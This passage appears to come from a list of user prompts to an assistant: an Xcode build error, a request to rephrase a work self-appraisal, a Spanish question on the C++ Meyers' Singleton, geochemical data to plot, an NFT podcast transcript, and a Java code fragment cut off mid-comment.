-DREANIMATED\\_VERSION\\=3.0.2 -include /Users/jameschege/WebstormProjects/mars/ios/Pods/Target\\ Support\\ Files/libevent/libevent-prefix.pch -MMD -MT dependencies -MF /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/B\ndebug uild/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.d --serialize-diagnostics /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.dia -c /Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/signal.c -o /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o -index-unit-output-path /Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found" -"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" -'Este es un texto que explica el uso de la variante del patrón singleton conocida como Singleton de Meyer. \nMeyers\' Singleton\nThis implementation is named after its inventor, Scott Meyers. If the main problem with the static singleton is that it can be initialized later than its first use, then the solution must be to initialize the singleton when it is needed for the first time:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n static Singleton inst;\n return inst;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n\n private:\n int value\\_;\n};\nThe Meyers\' Singleton has a private constructor, so it cannot be constructed by the program directly (in our example, we added a printout to the constructor, only to see when the singleton is initialized). Nor can the program make copies of the singleton object. Since the Meyers\' Singleton cannot be directly constructed by the program, it is again a zero handle objects implementation. The only way to access this singleton is through the Singleton::instance() static member function:\n\nint i = Singleton::instance().get();\n++Singleton::instance().get();\nThe Singleton::instance() function returns a reference to the singleton object, but which one, and when is it created? We can see from the preceding code that the return value is a reference to a local object defined in the body of the instance() function itself. Ordinarily, returning references to local objects is a serious programming error—these objects don\'t exist once the function completes. But the Meyers\' Singleton doesn\'t use an ordinary local object, but a local static object. Just like file-static objects, only one instance of the static object exists in the entire program. Unlike the file static objects, the function static objects are initialized the first time they are used; in our case, the first time the function is called. In pseudo-code, you can think of the function-static object like this:\n\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n};\nThis initialization of the singleton may occur after the program starts, or possibly long after, if the singleton is not used for a while. On the other hand, if another static object (not necessarily a singleton) uses our singleton object and requests a reference to it, the initialization is guaranteed to happen before the object can be used. This implementation is an example of lazy initialization—the initialization is deferred until it\'s needed (if the singleton object is not used at all in a particular run of the program, it will not be initialized at any point).\n\nOne possible concern about Meyers\' Singleton is its performance. While the initialization occurs only once, every call to Singleton::instance() must check whether the object is already initialized. We can measure the cost of this check by comparing the time it takes to access the instance for some operations, compared to the time it takes to call the same operations on an instance already stored in a reference:\n\nvoid BM\\_singleton(benchmark::State& state) {\n Singleton& S = Singleton::instance();\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++S.get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\n\nvoid BM\\_singletons(benchmark::State& state) {\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++Singleton::instance().get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\nHere, the first benchmark calls Singleton::instance() every time, while the second one calls the same member functions on the singleton, but accesses the instance only once. The difference between the two invocations shows us the cost of checking whether the singleton has to be initialized (the cost of the initialization itself is irrelevant, since the benchmark is executed many times, while the initialization happens only once):\nWe can see that the cost of the implementation of the function static variable is considerable, significantly greater than the cost of a simple operation on the singleton object (an integer increment, in our case). Therefore, if the singleton object is to be used extensively, it may be beneficial to store a reference to it, instead of requesting one every time. We can also see, thanks to the debug printouts we put in place earlier, that the singleton is indeed initialized the first time it is used—if the messages Running... and Run on... are printed by the program (by the main() function provided by the Google Benchmark library, to be exact), then the singleton is initialized. If the singleton used a file static object, the constructor would have been called before the program has a chance to print anything.\n\nNot to be confused with Meyers\' singleton is the following implementation:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n return instance\\_;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n\n private:\n static Singleton instance\\_;\n int value\\_;\n};\nSingleton Singleton::instance\\_;\nWhile superficially similar, this implementation differs in the most important aspect—the time of initialization. The static instance is not a function static object, and is initialized with other static objects, regardless of whether it is used or not (eager initialization, as opposed to lazy initialization). The access to the singleton instance looks exactly the same as for Meyers\' Singleton, but there, the similarities end. In fact, this is just another variant of the static singleton, only instead of declaring every data member as static, we created a static instance of the object.\n\nWe can expect the performance to be similar to that of the static singleton, or that of the Meyers\' Singleton if we were to optimize the code to avoid repeated initialization checks:\nWe call the reader\'s attention to the timing of the construction again—this time, the constructor of the static singleton instance is called before the program has started to print its own messages.\n\nAn interesting variant of this implementation is a combination of the Meyers\' Singleton with the pimpl idiom, where the header file contains only the interface declarations, and the actual implementation, including the data members, is moved to a different class and hidden in the C file, with only a pointer to this implementation object declared in the header (hence the name, pointer to impl, or pimpl for short). This idiom is often used to reduce the compilation dependencies—if the implementation of the object changes, but the public API remains the same, then the header file remains unchanged and all files that depend on it do not need to be recompiled. In the case of the singleton, the combination of these two patterns looks like this:\n\n// In the header file:\nstruct SingletonImpl; // Forward declaration\nclass Singleton {\n public: // Public API\n int& get();\n private:\n static SingletonImpl& impl();\n};\n\n// In the C file:\nstruct SingletonImpl { // Client code does not care if this changes\n SingletonImpl() : value\\_(0) {}\n int value\\_; \n};\n\nint& Singleton::get() { return impl().value\\_; }\n\nSingletonImpl& Singleton::impl() {\n static SingletonImpl inst;\n return inst;\n}\nIn this implementation, the program can create any number of Singleton objects, but they all operate on the same implementation, accessed by the impl() method (in our case, this method returns a reference to the implementation, and not a pointer; nonetheless, we call it pimpl since it is fundamentally the same pattern). Note that we did not put any protection on the implementation class—since it is limited to one C file and is not used directly, only being used through the methods of the Singleton class, it is quite common to rely on the programmer\'s discipline instead.\n\nThe advantage of this implementation is a better separation between the interface and the implementation, which is the reason for any use of the pimpl idiom. The disadvantage is the extra level of indirection, and the performance overhead it adds. Also, note that it is no longer possible for the program to avoid the test for lazy initialization, since it is now hidden inside the implementation of the Singleton methods. It is possible to optimize the Singleton class to avoid the repeated initialization checks by storing a reference to the implementation in every object:\n\n// In the header file:\nstruct SingletonImpl;\nclass Singleton {\n public:\n Singleton();\n int& get();\n private:\n static SingletonImpl& impl();\n SingletonImpl& impl\\_; // Cached reference\n};\n\n// In the C file:\nstruct SingletonImpl {\n SingletonImpl() : value\\_(0) {}\n int value\\_;\n};\n\nSingleton::Singleton() : impl\\_(impl()) {}\n\nint& Singleton::get() { return impl\\_.value\\_; }\n\nSingletonImpl& Singleton::impl() { // Called once per object now\n static SingletonImpl inst;\n return inst;\n}\nThe singleton instance is now created the first time a Singleton object is constructed, instead of the first time its member function is called. Also, each Singleton object now has a reference data member, so we are using a bit more memory as a trade-off for increased performance:\nWe can see that the optimized implementation is on par with any of the lightweight implementations we considered earlier, while the straightforward pimpl implementation is significantly slower.\n\nAnother important consideration in modern programs is thread safety. In the case of the Meyers\' Singleton, the question of thread safety is non-trivial. The issue boils down to this: is the initialization of a local static variable thread-safe? The focus of our attention is this code:\n\nstatic Singleton& instance() {\n static Singleton inst;\n return inst;\n}\nThe actual code behind this C++ construct is fairly complex—there is a conditional check to see if the variable is already constructed, and a flag that is set when this code is executed for the first time. What happens if multiple threads call the instance() function at the same time? Do we have a guarantee that, for all threads, only one instance of the static object will be created? In C++11 and later standards, the answer is a definite yes. Prior to C++11, the standard did not guarantee any thread safety at all. This led to the proliferation of various alternative implementations that can still be found in examples online and in print. Such alternatives are many, and in general, they look something like this, with various combinations of locking thrown in:\n\nstatic bool initialized - false;\nstatic Singleton& instance() {\n if (!initialized) { ... initialize the instance under lock ... }\n return ... reference to the singleton instance ...\n}\nAt this point in time, such implementations are thoroughly obsolete and are, at most, of historical interest. We will not spend time explaining how they work, and whether they work correctly (many don\'t). There is no reason to do anything more than simply declare a local static variable and return a reference to it.\n\nAs we have explained before, the Meyers\' Singleton solves the problem of initialization order by initializing, on demand, the first time the object is used. Even if we have multiple singletons (of different types, of course) and they refer to one another, the objects will be initialized no later than they are needed. The problem of the initialization order is indeed solved. But that is not the only problem, as we will see next.\nQuiero que a partir de su contenido me expliques varias cosas. La primera: Esta parte de pseudocódigo, explica el modo en el que el compilador, implícitamente, crea una instancia del objeto Singleton, que no puede crearse directamente, al declararse su constructor como privado. El pseudocódigo es éste:\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n}; Puedes explicarme, para empezar lo que hace exactamente este pseudocódigo.' -'Use this data in the plot and show the triangle borders very clearly \nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0004\\_QNT Page 1 \n \n No. Na2O MgO Al2O3 SiO2 CaO TiO2 MnO FeO K2O Total Comment \n1 4.755 9.608 0.323 53.645 15.962 0.115 0.220 14.218 0.018 98.864 SP1\\_4\\_m3\\_p7 \n2 4.728 9.835 0.308 53.759 15.794 0.125 0.173 14.148 0.000 98.870 SP1\\_4\\_m4\\_p5 \n3 5.271 9.062 0.183 53.556 14.914 0.140 0.161 15.265 0.000 98.552 SP1\\_4\\_m4\\_p6 \n4 6.703 7.392 0.357 53.430 12.310 0.153 0.182 17.751 0.000 98.278 SP1\\_4\\_m5\\_p1 \n5 4.758 9.749 0.321 53.880 15.904 0.140 0.183 14.285 0.004 99.224 SP1\\_4\\_m5\\_p2 \n6 4.557 9.884 0.308 53.566 16.096 0.116 0.199 13.287 0.000 98.013 SP1\\_4\\_m5A\\_p5 \n7 5.078 9.425 0.313 53.680 15.376 0.136 0.242 14.429 0.000 98.679 SP1\\_4\\_m5A\\_p6 \n8 4.701 9.790 0.310 53.642 16.063 0.133 0.256 13.687 0.004 98.586 SP1\\_4\\_m6\\_p2 \n9 5.390 8.886 0.324 53.615 14.488 0.151 0.196 15.553 0.008 98.611 SP1\\_4\\_m6\\_p3 \n10 5.227 9.076 0.306 53.295 14.998 0.104 0.162 15.177 0.000 98.345 SP1\\_4\\_m7\\_p9 \n11 5.147 9.146 0.292 54.142 14.868 0.128 0.192 15.143 0.002 99.060 SP2\\_20\\_m1\\_p1 \n12 4.716 9.656 0.312 53.978 15.855 0.107 0.230 13.842 0.000 98.696 SP2\\_20\\_m2\\_p3 \n13 4.828 9.566 0.277 53.967 15.839 0.126 0.188 13.617 0.004 98.412 SP2\\_20\\_m2A\\_p7 \n14 4.661 9.756 0.363 53.613 15.783 0.137 0.255 13.796 0.000 98.364 SP2\\_20\\_m3\\_p4 \n15 5.197 9.151 0.346 53.747 15.118 0.128 0.216 14.942 0.016 98.861 SP2\\_20\\_m4\\_p4 \n16 4.747 9.693 0.253 53.534 16.001 0.071 0.189 13.456 0.010 97.954 SP2\\_20\\_m5\\_p4 \n17 4.691 9.772 0.266 53.774 15.940 0.112 0.203 14.082 0.000 98.840 SP2\\_20\\_m6\\_p2 \n18 5.143 9.055 0.308 53.663 14.864 0.130 0.180 15.447 0.000 98.790 SP2\\_20\\_m7\\_p6 \n19 5.502 8.821 0.321 53.579 14.098 0.118 0.163 15.651 0.005 98.258 SP2\\_20\\_m7\\_p7 \n20 5.105 9.552 0.347 53.894 15.250 0.076 0.143 14.552 0.005 98.924 SP2\\_20\\_m9A\\_p4 \n21 5.591 8.562 0.292 53.042 13.818 0.121 0.158 15.547 0.000 97.131 SP2\\_20\\_m9A\\_p5 \n22 4.919 9.485 0.332 53.710 15.830 0.136 0.240 14.490 0.007 99.149 SP2\\_20\\_m10\\_p6 \n23 4.762 9.572 0.311 54.081 15.562 0.096 0.223 14.139 0.000 98.746 SP2\\_20\\_m11\\_p4 \n24 4.602 9.702 0.251 53.897 15.732 0.127 0.244 14.131 0.005 98.691 SP2\\_20\\_m11\\_p5 \n25 5.443 8.919 0.337 53.876 14.800 0.141 0.216 14.926 0.000 98.658 SP2\\_20\\_m12\\_p3 \n \nMinimum 4.557 7.392 0.183 53.042 12.310 0.071 0.143 13.287 0.000 97.131 \nMaximum 6.703 9.884 0.363 54.142 16.096 0.153 0.256 17.751 0.018 99.224 \nAverage 5.049 9.325 0.306 53.703 15.251 0.123 0.201 14.622 0.004 98.582 \nSigma 0.461 0.549 0.039 0.243 0.881 0.020 0.032 0.959 0.005 0.440 \nNo. of data 25' -'do the same again for the next part of the transription: "Alex: I agree. Like my, the guests before, before he, his name\'s Jeremy he\'s like this amazing photographer. He does portrait photography. And right at the end of the episode, I was like, so what\'s your what\'s what should people look out for? And he\'s like, I\'m dropping a whole series of NFTs. I\'ve never gotten into the space, but that\'s the next big step for me? And it just is like becoming abundantly clear, there\'s something real going on here. I do feel like the accessibility part. like I even think a lot of what you just said. I think a lot of people won\'t know what a lot of, even me, I don\'t even know what a lot of it is. I think like that Twitter thread, you had mentioned that you\'ve been putting together about what you\'ve learned and where to learn things. That\'s for sure a cool place for people to start, but I\'m curious about what are, what do you feel like some misconceptions are that you feel like you had mentioned, like people calling NFTs a Ponzi scheme? What are, some misconceptions around it that you feel like you, you disagree with or you feel like are incorrect that you what are your convictions around it?\n\nJack: Sure. I think one thing is. Did you alone, a ship is not valuable, right? I think this idea of there can\'t be, you can\'t own property that\'s on the internet. And I think that misconception comes from it\'s always been this way or you don\'t actually have a understanding of how the internet currently works because you are contributing to a network that somebody else owns right now. There\'s a really interesting disconnect where you can make it where you can make a violent criticism of something, but you don\'t actually understand that other side of the argument, or you haven\'t thought about how that changes what you\'re saying. So by saying artist shouldn\'t sell their creative work, you actually saying, ah, it should grow the market cap of Twitter and Facebook and sell prints for $7 and 50 cents. Versus have electors invest in their work and build a valuable network. There\'s definitely there\'s definitely a lot of misconceptions around the, like the Ponzi scheme or the like being around collectors in the space.\n\nLike I said, there\'s people that have been invested in Ethereum for an incredibly long time. And this is like a really exciting cultural moment that they view as as significant as the Renaissance period, digital art and ownership of these just incredibly significant cultural objects and people compare that to beanie babies. For example, if there\'s some good. That\'s some good precedence for that. Like a lot of these like collectibles and collections that are just being spun up in 15, I don\'t know, 10 hours or whatever people are doing, hiring someone on Fiverr and dropping the thing. And then just running off, like any market that\'s going to be nonsense. This is just a, their response is just way more crazy because there\'s so much money involved and it\'s moves so fast and it\'s this big liquid network all over the world. but some of the things I think will continue to shock us in just outrageous way. The I don\'t think people really understand the size of you know, if you look at a financial market, like how much volume is being traded on any given financial market on any given day. It\'s hard to even wrap your head around conceptually what\'s going on a million-dollar NFT sale is nothing, right. It\'s just like in the grand scheme of how much money removes around the world on a daily basis, it\'s nothing. And to a middle-class person in any country in the world is it\'s ludicrous. But in terms like if you actually contextualize it around what it is, which is like a global market for this thing with finite supply and 10% of the active participants in that market have a nine figure net worth. It\'s like, okay, it makes total sense. If you zoom out enough, you start to understand why it\'s happening.\n\nAnd then I think, again, people misunderstand or undervalue attention and how attention is like the most powerful. Force in the world. Some of the most value apple is the most valuable private company on the planet. Yes. They make nice phones, but why does everybody want an iPhone? So they have this like little portal that they can stare into every day at what their friends are doing, what their friends think of them. Like they communicate with their colleagues, what all the things you use, an iPhone four, it\'s like the critique, that digital things aren\'t real. It\'s like, okay. So every interaction, every time you touch your iPhone, nothing real is happening. Or you can extrapolate that logic insurance yet that way. And I just don\'t believe that to be true. And that\'s another, great contextual point is Fortnite. the skins that they sell them fortnight, I think that\'s a $2 billion a year marketplace. And Fortnite takes a hundred percent of that. You don\'t own any of those items as a player or Fortnite. You just literally are emptying probably your parents\' credit card in most cases into fortnight LLCs bank account versus, Hey, I was here on this day and I got this I got this digital asset and now I can trade that. I don\'t know if you\'ve ever played Rune Scape, but a lot of these people that are like massively into these Ethereum in particular and all of these like market protocols, they played games like it\'s like magic internet money is not a it\'s not an exaggeration because a lot of people would just learn coordination and like place value on items along like 10 years ago. And these like transactions that happening digitally. And you could make the argument like, yeah, that\'s in game currency. But again, going back to the start of the conversation, it\'s like, we\'re almost playing like a remote job or remote work is a video game. Totally. And for people that ever reached a certain point in the Maslow\'s hierarchy, I\'m not saying that you need to have your bases covered, right. Your food or shallow your air, your, and then for people that aren\'t worried about any of those things, is there any surprise that they\'re like messing about buying pictures of monkeys off each other on the internet buying round? Surprise me. and that\'s like I said, I think we\'re just at the beginning of it and crazy stuff, but there are people that are way more articulate than I am at describing this stuff. I think I can I can gather that information and I actually had this idea this morning. I might set up another, like a. Yeah, make it free or donation-based so someone can maintain it, but set up just a little course that goes through some of these principles and get some resources for people to follow. The thought leaders are actually building in this space. \n\nAlex: Cool. One thing that I, like to think about, and you could tell me this might be totally off and it might be like not completely aligned with what, like NFTs and web three is all about one example.\n\nI think of a lot when I talk to people about this or when I\'ve heard skepticism, is that the first thing that comes to my mind are domain names. Like I own alexsugg.com. No one else owns that. and that\'s like digital real estate that actually really counts. Like I remember when they made the the extension app. I just went in...I went into hover and I bought Harry Potter app, Nike app. And I bought like all these things. And of course I got flagged and I wasn\'t allowed to do it. But, in my mind, it\'s like, there\'s this level of digital ownership. That\'s really valuable, even in a domain name. And that\'s been going on for decades where people are buying and selling domains across to each other. And it\'s like letters on a screen like that. Like it\'s not quote-unquote real at all. This is all just a big story we\'re telling ourselves.\n\nAnd that\'s a huge part about like real money too. Like I think especially over the last year and a half, like I do feel like at the end of the day, the crypto world NFT worlds is just, it\'s a, narrative. That\'s a response to another narrative that people think a hundred percent. It\'s just all about I think it becomes very complicated-sounding because it is technically more complicated than what we\'re used to. But I think at the end of the day, it just comes down to are we telling a newer, better story of this digital currency online versus what has been in the past?\n\nJack: Yeah, I think that\'s a great, I think that\'s a great perspective, especially like the domain thing for digital ownership and the complexity of the money story. Also [buying] in a traditional sense is incredibly complicated. Just nobody has a clue how it works. And if you start to, I think what crypto does is you start to ask questions about why you need hard cap money, what do you mean? And then you start to you really start to get into the world of, oh, okay. Somebody came up with this, everything is a human invention. Like nothing is absolute.\n\nAnd then guess the crypto argument and especially the case of Bitcoin, it\'s like, you know, pick it out absolute money, and this is what we believe is gonna eventually, Trump, every other form of money. And I have no prediction or opinion there, but, I do think all of these technologies and all of these stories just lead people to basically finding out that things don\'t have as rigorous of a yeah. You, especially when you\'re like an entrepreneur you\'re operating your own business, or you break out of this world where you just certain things you accept and you don\'t dig into deeper because it\'s just, I have no reason to, right. You have no reason to like, get any more intimate with the details or in my case, I\'m talking about that. and then when you do, it\'s like a rabbit hole, it\'s just a complete rabbit hole and you realize, okay. And the emperor has got no clothes in a lot of cases. So we\'re just gonna, See what happens by getting... just follow the stuff that interests you. And it\'s just...honestly getting crazy out there. Then there\'s a video of David Bowie ever seen the David Bowie\'s prediction of well, the internet did. Yeah. It was crazy. Yeah. Yeah. And I think he\'s he\'s spot on. He\'s like you haven\'t even began to, you have not even began to understand the implications of the internet. And I think these are like, the cracks are starting to show where it\'s like the things that everybody accepted as like absolute truths are now like, oh no, there\'s a dude. I invented new money, but like rice guy in San Francisco wow, right. Like 10 years ago you would say that\'s impossible. And 10 years from now, we\'ll look back at this and be like, we were just talking nonsense. We didn\'t know what the whole... \n\nAlex: Right, for sure. For sure. No, that\'s cool, that\'s cool.\n\nI\'m curious, maybe just to wrap up, I think that\'s talking about web three and NFTs. I think there\'s a lot there. And I will link in the show notes for everyone listening to Jack\'s Twitter thread about what you\'ve been learning and resources and stuff. And I think if you made a course of some sort, that\'d be really cool too. I think maybe to wrap up I\'m kind of picturing somebody listening who maybe hasn\'t, maybe they haven\'t started yet on this creative idea that they\'re, wanting to pursue what maybe as to wrap up, if you were sitting with this person and they said, what do you think my first step should be towards starting, creating things online for the internet? What would you, say to them? \n\nJack: I think my, one of the things that I\'ve seen work is basically iterate in service of finding a format that you can really own. The visualizer, I think is one example of that. Another example I loved that was maybe a year ago, someone was doing interviews with people on Twitter, just in DMS.\n\nAlex: I saw that too. That was cool. \n\nJack: It was cool. Right? Yeah. And that was one of the examples I actually, was referencing when I said, why didn\'t you carry that on or turn it into a low media brand or something? I thought it was bad-ass Stuart SIM. I think the guy\'s name is who did that.\n\nAlex: I thought that was such a cool, get it back up. What two or three messages back and forth. That was like a three-minute interview with these awesome creators just through DM. Really cool. I like that. \n\nJack: Yeah. Yeah. So I think if content specifically as your interest, then the format piece is, really a powerful thing to iterate on think about how you can add creative constraints to the format and then yeah. You\'re basically putting your perspective into through that filter every time, which I think is a, just a powerful way to get constrained enough to go might be like a five minute podcast, or for me it was whiteboard drawings on YouTube. It\'s I want to do five minutes or less. I really want to get critical mass of content on YouTube. Like I don\'t produce a ton of stuff there anymore, but I was like, I got the channel. I\'m not just gonna leave it empty. I go to WeWork for a day. I just recorded 20 videos, five minutes each. Right. and just sprint into those little into those little like sequences of projects that are have some kind of creative constraint. And then the other piece, I think go back to the part of the conversation we had, where the feedback you get from. People who just happened to be connected with, based on where you\'re born or where you work or wherever else, stick it out through that because it\'s it\'s kind of a journey to discover people that see the world the same way you do. And producing content is almost always like a by-product of consuming other people\'s ideas. So even just acknowledging them in the process is going to build your network, has all of these platforms they fit together that way and you can acknowledge people without there\'s a subtle way to do it. There\'s the right way to do it. But I think that is also, an underrated tool that had a big impact on, getting visualized value side is just saying, huge admirer of this person\'s ideas. I spent a bunch of time. Adding context to this and, hopefully they like it or they\'re interested in it and if not, oh, well, but that I think is whether it\'s the web three idea we talked about or permissionless publishing, yeah there\'s just start, putting stuff out, getting feedback and it right from that."' -'public String run(IndigoObject mappedRxn, boolean stereo, boolean hydrogenated, boolean complete, int rotype) {\n IndigoObject mrxn = mappedRxn.clone();\n\n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-clone.svg");\n }\n\n //If stereo is true, then the 